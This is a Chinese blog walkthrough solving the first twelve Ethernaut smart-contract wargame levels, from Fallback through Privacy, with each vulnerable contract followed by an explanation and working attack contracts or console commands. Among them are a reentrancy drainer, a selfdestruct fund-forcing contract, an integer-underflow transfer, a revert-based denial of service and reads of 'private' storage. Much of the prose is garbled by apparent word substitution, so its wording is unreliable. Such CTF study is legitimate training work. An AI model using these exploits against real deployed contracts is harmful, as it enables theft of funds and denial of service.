Ethernaut题解2022版(上)

Ethernaut题解2022版(下)链接

最近尝试在做Ethernaut上面的标题,也在网上搜到了一些过去他人写的题解。但问题在于,随着时间开展,目前有些标题的合约代码曾经更新,有些标题引入库合约的代码地址发作变化,还有重入标题中存入余额与之前有所不同,过去的wp中某些标题的题解不能复现。针对这些问题,我修正了一些题解并尽可能细致地解释其中破绽产生的原理,内容如下。

1. Fallback

合约如下

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";

contract Fallback {

  using SafeMath for uint256;
  mapping(address => uint) public contributions;
  address payable public owner;

  constructor() public {
    owner = msg.sender;
    contributions[msg.sender] = 1000 * (1 ether);
  }

  modifier onlyOwner {
        require(
            msg.sender == owner,
            "caller is not the owner"
        );
        _;
    }

  function contribute() public payable {
    require(msg.value < 0.001 ether);
    contributions[msg.sender] += msg.value;
    if(contributions[msg.sender] > contributions[owner]) {
      owner = msg.sender;
    }
  }

  function getContribution() public view returns (uint) {
    return contributions[msg.sender];
  }

  function withdraw() public onlyOwner {
    owner.transfer(address(this).balance);
  }

  receive() external payable {
    require(msg.value > 0 && contributions[msg.sender] > 0);
    owner = msg.sender;
  }
}

留意标题中给出的SafeMath.sol地址已不能援用,能够用上面的途径。
能够经过contribute函数进步用户在contributions数组的值,用户能够运用getContribution函数获取到当前的contributions数组的内容。留意到有个receive函数,解释一下

每个合约最多有一个receive函数,这个receive函数运用receive() external payable { ... }的方式声明(没有function关键字),这个函数不能有参数,并且不能返回任何东西,必需有external可见度和payable状态可变性。这个函数能够是virtual的,能够被重写并且能够运用modifiers。

当合约收到一个calldata为空的call时,receive函数会被调用。这个函数会在执行一些以太币转账操作时被执行,常见的以太币转账操作包括.send().transfer()函数发起的转账。假如没有receive函数存在,但是存在一个payable属性的fallback函数的话,这个fallback函数会在一次以太币转账中被调用。假如一个合约既没有receive函数也没有payable属性的fallback函数,那么这个合约不能经过常规的买卖来接纳以太币,并且会抛出一个异常。

而在本题中,能够看到,假如满足require中的条件,receive函数将本合约的owner变成了msg.sender,再经过withdraw函数提取合约中的一切余额,即可完成攻击。一切攻击步骤如下:

  1. 首先向合约中充值一定数量的以太币,在控制台执行contract.contribute({value:1}),保证满足contributions[msg.sender]>0
  2. 然后向合约对应地址转账1个以太币,触发receive函数,这里能够运用metamask转账
  3. 转账完成后查看合约的owerner,能够看到曾经变成攻击者的地址,最后调用withdraw函数,取出合约中的一切余额,完成攻击。

2.Fallout

合约如下

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

// import 'https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/utils/math/Math.sol';
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";

contract Fallout {

  using SafeMath for uint256;
  mapping (address => uint) allocations;
  address payable public owner;



  function Fal1out() public payable {
    owner = msg.sender;
    allocations[owner] = msg.value;
  }

  modifier onlyOwner {
            require(
                msg.sender == owner,
                "caller is not the owner"
            );
            _;
        }

  function allocate() public payable {
    allocations[msg.sender] = allocations[msg.sender].add(msg.value);
  }

  function sendAllocation(address payable allocator) public {
    require(allocations[allocator] > 0);
    allocator.transfer(allocations[allocator]);
  }

  function collectAllocations() public onlyOwner {
    msg.sender.transfer(address(this).balance);
  }

  function allocatorBalance(address allocator) public view returns (uint) {
    return allocations[allocator];
  }
}
  1. contract.Fal1out()调用从而使得owner变成攻击者的地址
  2. 然后直接调用collectAllocations函数拿下

这个题想阐明的是,结构函数是无法直接调用的,而本题中作者成心写成Fal1out留意中间是1,使得该函数不是结构函数,于是能够全局调用。

3. CoinFlip

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

// import '@openzeppelin/contracts/math/SafeMath.sol';
import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
contract CoinFlip {

  using SafeMath for uint256;
  uint256 public consecutiveWins;
  uint256 lastHash;
  uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

  constructor() public {
    consecutiveWins = 0;
  }

  function flip(bool _guess) public returns (bool) {
    uint256 blockValue = uint256(blockhash(block.number.sub(1)));

    if (lastHash == blockValue) {
      revert();
    }

    lastHash = blockValue;
    uint256 coinFlip = blockValue.div(FACTOR);
    bool side = coinFlip == 1 ? true : false;

    if (side == _guess) {
      consecutiveWins++;
      return true;
    } else {
      consecutiveWins = 0;
      return false;
    }
  }
}

这里解释一下,block.number能够用来获取当前买卖对应block的编号,而这里减1获取的就是前一个block的编号,而blockhash(id)能够获取对应id的block的hash值,对应方式相似0x0ac2bf40a6d661df20bbe1e61c73c0c247215f172053b9fc8af4bff15b94085b这样,然后uint256将其转换为16进制对应的数值。其中给的factor就是$2^{256}/2$,所以每次做完除法的结果有一半几率是0,一半是1。

  • 本题调查点在于,上述这种经过block.blockhash(block.number - 1)获取负一高度的区块hash来生成随机数的方式是极易被攻击应用的。

  • 原理是在区块链中,一个区块包含多个买卖,我们能够先运转一下上述除法计算的过程获取结果终究是0还是1,然后再发送对应的结果过去,区块链中块和快之前的距离大约有10秒,手动去做会有问题,而且不能保证我们计算的合约能否和标题运算调用在同一个block上,因而需求写一个攻击合约完成调用。我们在攻击合约中调用标题中的合约,能够保证两个买卖一定被打包在同一个区块上,因而它们获取的block.number.sub(1)是一样的,攻击合约代码如下:

    // SPDX-License-Identifier: MIT
      pragma solidity ^0.6.0;
    
      import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";
      interface CoinFlip{
        function flip(bool _guess) external returns (bool);//这里函数可见性要改成external
      }
    
      contract attack {
    
        using SafeMath for uint256;
        uint256 public consecutiveWins;
        uint256 lastHash;
        uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
        address targetAddress =0xBC69893DE012e1949285b4c04e643E6f7958682C;//改成要攻击地址
        CoinFlip c;
    
        function exp() public returns (bool) {
          uint256 blockValue = uint256(blockhash(block.number.sub(1)));
    
          if (lastHash == blockValue) {
            revert();
          }
    
          lastHash = blockValue;
          uint256 coinFlip = blockValue.div(FACTOR);
          bool side = coinFlip == 1 ? true : false;
          c = CoinFlip(targetAddress);
          c.flip(side);
        }
      }

    remix选择injected web3,运用metamask账户衔接到Rinkeby测试网上,部署上述代码然后点击10次exp函数即可。

4. Telephone

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Telephone {

  address public owner;

  constructor() public {
    owner = msg.sender;
  }

  function changeOwner(address _owner) public {
    if (tx.origin != msg.sender) {
      owner = _owner;
    }
  }
}

这道题需求理解tx.originmsg.sender的区别。假定A、B、C都是曾经部署的合约,假如我们用A去调用C,即A->C,那么在C合约看来,A既是tx.origin,又是msg.sender。假如调用链是A->B->C,那么关于合约C来说,A是tx.origin,B是msg.sender,即msg.sender是直接调用的一方,而tx.origin是买卖的原始发起者,和英文也对应着。因而本题直接外部部署合约调用changeOwner函数即可完成。攻击代码如下:

pragma solidity ^0.4.11;

interface Telephone {
    function changeOwner(address _owner) external;
}

contract exploit {
    address targetAddr;
    Telephone t;
    address myaddr;

    function setInstance(address _targetAddr,address _myaddr) public {
      targetAddr=_targetAddr;
      myaddr= _myaddr;
    }

    function exp () public {
        t = Telephone(targetAddr);
        t.changeOwner(myaddr);
    }
}

倒是搜索的时分能够搜到针对条件为require(tx.origin == owner);的攻击,参考这里

5. Token

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Token {

  mapping(address => uint) balances;
  uint public totalSupply;

  constructor(uint _initialSupply) public {
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  function transfer(address _to, uint _value) public returns (bool) {
    require(balances[msg.sender] - _value >= 0);
    balances[msg.sender] -= _value;
    balances[_to] += _value;
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

这个题调查整数溢出的问题,标题阐明中告知初始曾经给我们分配了20个token,所以我们只需求外部调用transfer函数,执行transfer(instance,21),那么balances[msg.sender] - _value的结果为-1,由于是uint类型,会变成$2^{256}-1$这样一个很大的数字,从而完成攻击,攻击代码如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Token {
    function transfer(address _to, uint _value) external returns (bool);
    function balanceOf(address _owner) external view returns (uint balance);
}

contract exploit {

  mapping(address => uint) balances;
  uint public mybalance;
  address target;
  Token token;
  event log(uint);

  //target设置为标题合约地址
  function setins(address _addr)public{
    target=_addr;
  }

    //_addr是instance地址,当然这里任何在balances中合法的其他地址都行,_value设置成21
    function exp(address _addr,uint _value) public {
        token=Token(target);
        token.transfer(_addr,_value);
    }
    //用来读余额,便当调试
    function getbalance(address _addr) public returns(uint){
        token=Token(target);
        mybalance=token.balanceOf(_addr);
        emit log(mybalance);
        return mybalance;
    }
}

也能够在命令行直接传,如下所示:

6.Delegation

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Delegate {

  address public owner;

  constructor(address _owner) public {
    owner = _owner;
  }

  function pwn() public {
    owner = msg.sender;
  }
}

contract Delegation {

  address public owner;
  Delegate delegate;

  constructor(address _delegateAddress) public {
    delegate = Delegate(_delegateAddress);
    owner = msg.sender;
  }

  fallback() external {
    (bool result,) = address(delegate).delegatecall(msg.data);
    if (result) {
      this;
    }
  }
}

本题首先需求理解一下solidity当中三种调用代码的特殊方式:calldelegatecallstaticcall

<address>.call(bytes memory) returns (bool, bytes memory)

运用给定的payload发出一个低级(low-level)的CALL命令,返回执行能否胜利和数据,转发一切可用gas,可调整。

<address>.delegatecall(bytes memory) returns (bool, bytes memory)

运用给定payload发出一个低级的DELEGATECALL指令,返回执行能否胜利和数据,转发一切可用gas,可调整。

<address>.staticcall(bytes memory) returns (bool, bytes memory)

运用给定payload发出一个低级的STATICCALL指令,返回执行能否胜利和数据,转发一切可用gas,可调整。

官网三个指令阐明简直一模一样,他们之间的详细区别用一段代码来阐明:

pragma solidity ^0.4.23;
contract Calltest {
    address public b;

    function test() public {
        b=address(this);
    }
}
contract Compare {
    address public b;
    address public testaddress;

    event logb(address _a);

    constructor(address _addressOfCalltest) public {
        testaddress = _addressOfCalltest;
    }
    function withcall() public {
        testaddress.call(bytes4(keccak256("test()")));
        emit logb(b);
    }
    function withdelegatecall() public {
        testaddress.delegatecall(bytes4(keccak256("test()")));
        emit logb(b);
    }
}

首先部署一下CallTest合约,然后将合约地址作为Compare合约的结构参数停止部署。部署完成后,分别点击2个合约的b,能够看到都是0x0000000000000000000000000000000000000000

然后点击执行withcall函数,之后再分别点击b,查看结果,能够发现CALLTEST合约的b曾经变成了这个合约的部署地址0x0debB7DC73AE4ba3C7d740491a0bc0f8C63594c8,而Compare合约的地址并没有变化。阐明call只是在CALLtest合约中执行了test函数

再执行withdelegatecall函数,然后分别查看结果,能够看到此时Compare合约的b变成Compare合约的地址,即,我们在Compare合约中执行了test函数,而上面的call实践上还是在CALLtest合约中执行的test函数

假如部署后直接执行withdelegatecall,查看结果,能够发现只要Compare合约的b被改动了,也进一步印证了上面说的,delegatecall只在Compare合约内部执行了test函数,相当于test函数代码迁移到了Compare合约中执行了一下,这也是solidity完成相似库函数作用的方式。

回到本题,我们的目的就是经过delegatecall调用delegate合约的pwn函数,从而完成修正第一个合约的owner。这就触及到call指定调用函数的操作,当给call传入的第一个参数时四个字节时,那么合约就会默许这四个字节是要调用的函数,它会把这四个字节当作函数的id来寻觅调用函数,而一个函数的id在以太坊的函数选择器的生成规则里就是其函数签名的sha3的前4个字节,函数签名就是带有括号括起来的参数类型列表的函数称号。

所以只需求一行即可完成攻击:

contract.sendTransaction({data:web3.utils.sha3("pwn()").slice(0,10)});

原理就是sendTransaction这个买卖触发fallback函数,这里msg.data就是我们用相似json的方式指定的data,data放前四个字节即可。

还有一种调用方式就是上上面演示代码提到的(bytes4(keccak256("test()"))),keccak256和sha3是一样的,这样也能够获取到前4个字节。

这里slice(0,10)是由于前面还有个0x,加上0x一共10个字符。

7. Force

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Force {/*

                   MEOW ?
         /\_/\   /
    ____/ o o \
  /~____  =ø= /
 (______)__m_m)

*/}

本题代码只要一个空合约,没有任何代码,看起来让人摸不着头脑。标题请求是让合约的余额大于0,这用到selfdestruct函数。这是一个自毁函数,当我们调用这个函数时,它会使合约无效化并删除该地址的字节码,然后它会把合约里剩余的资金发送给参数指定的地址,比拟特殊的是这笔资金的发送将忽视合约的fallback函数。(由于之前提到,假如合约收到一笔没有任何函数能够处置的资金时,就会调用fallback函数,而selfdestruct函数忽视这一点,也就是资金会优先由selfdestruct函数处置)

步骤是:

  1. 首先部署一个调用selfdestruct函数的合约,例如
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Attack {
    uint b;

    event log(uint);
    constructor()public{
        b=0;
    }
    // 写receive函数是为了让这个合约接纳一点ether,我在测试时假如只要下面的exploit函数转账不断失败
    // 当然也能够在创立合约时直接存入
    receive()payable external{
        b+=msg.value;
        emit log(b);
    }
  function exploit(address payable _target) public payable {
      selfdestruct(_target);
  }
}

特别留意的一点是,这个函数必需有payable属性,否则这个合约时无法接纳转账的。

  1. 往这个合约里存点钱,比方我的地址是0xbB5D735088498AcaaCc24A99d5fd13f947A5879f,直接运用Metamask往里面存。

  1. 然后执行exploit函数,设置地址为标题地址,selfdestruct后eth就强迫到了标题地址上,从而完成标题请求。

8. Vault

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Vault {
  bool public locked;
  bytes32 private password;

  constructor(bytes32 _password) public {
    locked = true;
    password = _password;
  }

  function unlock(bytes32 _password) public {
    if (password == _password) {
      locked = false;
    }
  }
}

这个标题代码很明显,就是需求我们取得合约中的password,然后调用unlock函数即可。这触及到一点:以太坊部署和合约上一切的数据都是可读的,包括这里合约内定义为private类型的password变量,我们能够运用web3.eth.getStorageAt来读取合约行对应地址的数据

web3.eth.getStorageAt(address, position [, defaultBlock] [, callback])

第一个参数时对应要读取的合约地址,第二个参数是要读取内容的索引位置(变量是第几个被定义的变量),第三个参数假如被设置,那么就不会运用默许的block(被web3.eth.defaultBlock设置的默许块),而是运用用户自定义的块,这个参数可选项有"earliest", "latest""pending",第四个选项设置回调函数。

所以本题首先运用await web3.eth.getStorageAt(contract.address,1)读取password的内容(await web3.eth.getStorageAt(contract.address,0)读取到的是locked变量的值),然后运用await contract.unlock("A very strong secret password :)")解锁即可,能够运用await contract.locked()查看能否解锁。

留意一点是,web3.js不能自动把string解析成byte32类型,因而需求我们web3.utils.asciiToHex运用转换一下

换句话说,web3.js里0x开头的字符串能够被以为是bytes32

9. King

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract King {

  address payable king;
  uint public prize;
  address payable public owner;

  constructor() public payable {
    owner = msg.sender;  
    king = msg.sender;
    prize = msg.value;
  }

  receive() external payable {
    require(msg.value >= prize || msg.sender == owner);
    king.transfer(msg.value);
    king = msg.sender;
    prize = msg.value;
  }

  function _king() public view returns (address payable) {
    return king;
  }
}

很明显能够经过看到receive函数中只需我们满足require的条件,就能够窜改合约的king,查看合约新实例能够看到合约在创立时存入了0.001ether

因而我们只需转入0.01ether即可满足条件,而标题阐明中告知,当我们submit instance 时本关会尝试回收“王权”,也就是它会传入一个更大的msg.value,修正king为原来的msg.sender,为了阻止这一点,我们能够经过在合约的receive或者fallback函数中参加revert函数来完成。

pragma solidity ^0.6.0;

contract AttackKing {

    constructor(address payable _victim) public payable {
        _victim.call.gas(1000000).value(1 ether)("");
    }

    receive() external payable {
        revert();
    }
}

务必留意,由于我们创立的合约需求向标题合约转账,所以在创立合约时一定要选择1 ether的余额放进去,然后设置victim为标题合约地址,当submit标题打算回收“王权”时,它运转到king.transfer(msg.value);这一行时,由于king就是我们合约的地址,而我们合约的receive函数会执行revert,因而它会卡在这个状态无法执行,从而无法取回王权。

这个破绽在实践合约中被用revert来执行DDos,让程序卡在某个状态无法运转。

10. Re-entrancy

终于到了重入破绽,著名的The DAO攻击中攻击者就应用了重入破绽,形成了以太坊社区的一个硬分叉。

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import "@openzeppelin/contracts-ethereum-package/contracts/math/SafeMath.sol";

contract Reentrance {

  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount;
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

留意这里运用了call{value:xx}的方式,callsendtransfer函数底层完成,也是用来转账的。与它们的区别在于,参考链接

  • transfer:请求接纳的智能合约中必需有一个fallback或者receive函数,否则会抛出一个错误(error),并且revert(也就是回滚到买卖前的状态)。而且有单笔买卖中的操作总gas不能超越2300的限制。transfer函数会在以下两种状况抛出错误:

    • 付款方合约的余额缺乏,小于所要发送的value
    • 接纳方合约回绝接纳支付
  • send:和transfer函数的工作方式根本一样,独一的区别在于,当呈现上述两种买卖失败的状况时,send的返回结果是一个boolean值,而不会执行revert回滚。

  • call: call函数和上面最大的区别在于,它没有gas的限制,运用call时EVM将一切gas转移到接纳合约上,方式如下:

    (bool success, bytes memory data) = receivingAddress.call{value: 100}("");

    将参数设置为空会触发接纳合约的fallback函数,运用call同样也能够调用本合约内的函数,方式如下

    (bool sent, bytes memory data) = _to.call{gas :10000, value: msg.value}(byte4(keccack256("function_name(uint256)",args)));

    这里设置的gas是浮点数类型的,其中function_nameuint256args需求交换为实践函数名字、参数类型、参数值。

sendtransfer有一个限制单笔买卖的gas不能超越2300的约束,这个约束值是很低的,只能支持一个event的触发,做不了更多操作,因而当设置到一些高gas耗费的操作时,必需运用call函数,但由于call函数不限制操作的gas值,又会招致存在合约重入的问题。

回到本题,留意到withdraw函数中调用了一个空参数的call函数,我们能够编写一个特殊的合约,让接纳函数的fallback函数反复调用目的合约的withdraw函数,这样合约就会不时给我们所编写的合约转账直至余额为0。详细代码如下

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract attack {

    address payable target;
    address payable public owner;
    uint amount = 1000000000000000 wei;

    constructor(address payable _addr) public payable {
        target=_addr;
        owner = msg.sender;
    }

    function step1() public payable{
        bool b;
        (b,)=target.call{value: amount}(abi.encodeWithSignature("donate(address)",address(this)));
        require(b,"step1 error");
    }

    function setp2() public payable {
        bool b;
        (b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
        require(b,"step2 error");
    }


    fallback () external payable{
        bool b;
        (b,)=target.call(abi.encodeWithSignature("withdraw(uint256)",amount));
        require(b,"fallback error");
    }

    function mywithdraw() external payable{
        require(msg.sender==owner,'not you');
        msg.sender.transfer(address(this).balance);
    }
}

能够看到,合约在初始创立的时分往里面存了0.001 ether,也就是1000000000000000 wei,这也是为什么上面代码中为这个数字,留意部署时需求存入1000000000000000 wei

部署后首先执行step1,执行后能够看到合约地址对应余额增大了,阐明donate存款胜利

执行step2,应用进入fallback函数的重入再次转账,能够看到余额数质变得很大,并且标题合约余额为0,阐明攻击胜利

11. Elevator

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Building {
  function isLastFloor(uint) external returns (bool);
}


contract Elevator {
  bool public top;
  uint public floor;

  function goTo(uint _floor) public {
    Building building = Building(msg.sender);

    if (! building.isLastFloor(_floor)) {
      floor = _floor;
      top = building.isLastFloor(floor);
    }
  }
}

这道题其破绽其实跟solidity关系不大,有点像逻辑破绽?

上述代码中,Building是一个接口,相似笼统类,而isLastFloor则相似一个笼统函数,这里Building(msg.sender)远程调用我们传入的合约,因而我们能够本人设计这个函数的详细内容。标题最终请求我们抵达电梯顶层,也就是让top=true。但剖析代码可知,假如要进入if分支,那么building.isLastFloor(_floor)必需返回false,而top又等于building.isLastFloor(_floor),似乎top只能为false。留意到,判别和赋值这里是两次函数调用,它们的返回结果并不一定相同。假如我们设置isLastFloor为针对同一个变量的取反函数,那么第一次调用返回false,第二次调用返回true,即可满足标题条件,详细代码如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

interface Elevator {
  function goTo(uint _floor) external;
}

contract Building {
    bool x=true;
    address target;
    Elevator elevator;

    function isLastFloor(uint) external returns (bool){
        x=!x;
        return x;
    }

    function exploit(address _addr) public{
        elevator= Elevator(_addr);
        elevator.goTo(2);
    }
}

其中x是一个内部状态变量,初始值为true,因而第一次调用时返回false,第二次取反返回true,从而绕过标题判别。其他言语里假如判别函数是一个对相同变量的取反函数的话也会存在这种问题8。

12. Privacy

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

contract Privacy {

  bool public locked = true;
  uint256 public ID = block.timestamp;
  uint8 private flattening = 10;
  uint8 private denomination = 255;
  uint16 private awkwardness = uint16(now);
  bytes32[3] private data;

  constructor(bytes32[3] memory _data) public {
    data = _data;
  }

  function unlock(bytes16 _key) public {
    require(_key == bytes16(data[2]));
    locked = false;
  }

  /*
    A bunch of super advanced solidity algorithms...

      ,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
      .,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
      *.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^         ,---/V\
      `*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.    ~|__(o.o)
      ^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'  UU  UU
  */
}

标题很简单,就是我们输入data数组第二个元素的前16个字节即可,调查的还是以太坊合约中状态变量的内存散布。运用await web3.eth.getStorageAt(instance, 5)读取到数组data[2]的内容为0x246a7e946b46f638611408e1608743c0e8fb1f95538dce4a1921213f0ce798c5,留意bytes16是从高地址开端截取的,所以传入await contract.unlock('0x246a7e946b46f638611408e1608743c0')即可

详细内存模型:本文中是一个静态数组,数组元素也是跟在前面的元素后面直接排列的,也就是下面这样的内存散布。

=============================================
        unused          | locked                
-----------------------------------------------------------------        slot 0
       31 bytes         | 1 byte 
=============================================
    ID
-----------------------------------------------------------------        slot 1
                32 bytes
=============================================
unused  |awkwardness|denomination|flattening|
-----------------------------------------------------------------     slot 2
28 bytes|2 bytes    | 1 byte     | 1 byte
=============================================
data[0]
-----------------------------------------------------------------        slot 3
32 bytes
=============================================
data[1]
-----------------------------------------------------------------        slot 4
32 bytes
=============================================
data[2]
-----------------------------------------------------------------        slot 5
32 bytes
=============================================

假如,假如定义是bytes32[] private data,也就是定义成一个动态数组的话,那么内存模型是这样的。

=============================================
        unused          | locked                
-----------------------------------------------------------------       slot 0
       31 bytes         | 1 byte 
=============================================
    ID
-----------------------------------------------------------------      slot 1
32 bytes
=============================================
unused  |awkwardness|denomination|flattening
-----------------------------------------------------------------    slot 2
28 bytes|2 bytes          | 1 byte          | 1 byte
=============================================
data.length
-----------------------------------------------------------------     slot 3
32 bytes
=============================================

......

=============================================
data[0]
-----------------------------------------------------------------     slot keccak256(3)
32 bytes
=============================================
data[1]
-----------------------------------------------------------------       slot keccak256(3)+1
32 bytes
=============================================
data[2]
-----------------------------------------------------------------      slot keccak256(3)+2
32 bytes
=============================================
------本页内容已结束,喜欢请分享------

感谢您的来访,获取更多精彩文章请收藏本站。

© 版权声明
THE END
喜欢就支持一下吧
点赞15赞赏 分享
评论 共1条
头像
欢迎您留下宝贵的见解!
提交
头像

昵称

取消
昵称表情代码图片
    • 头像李机0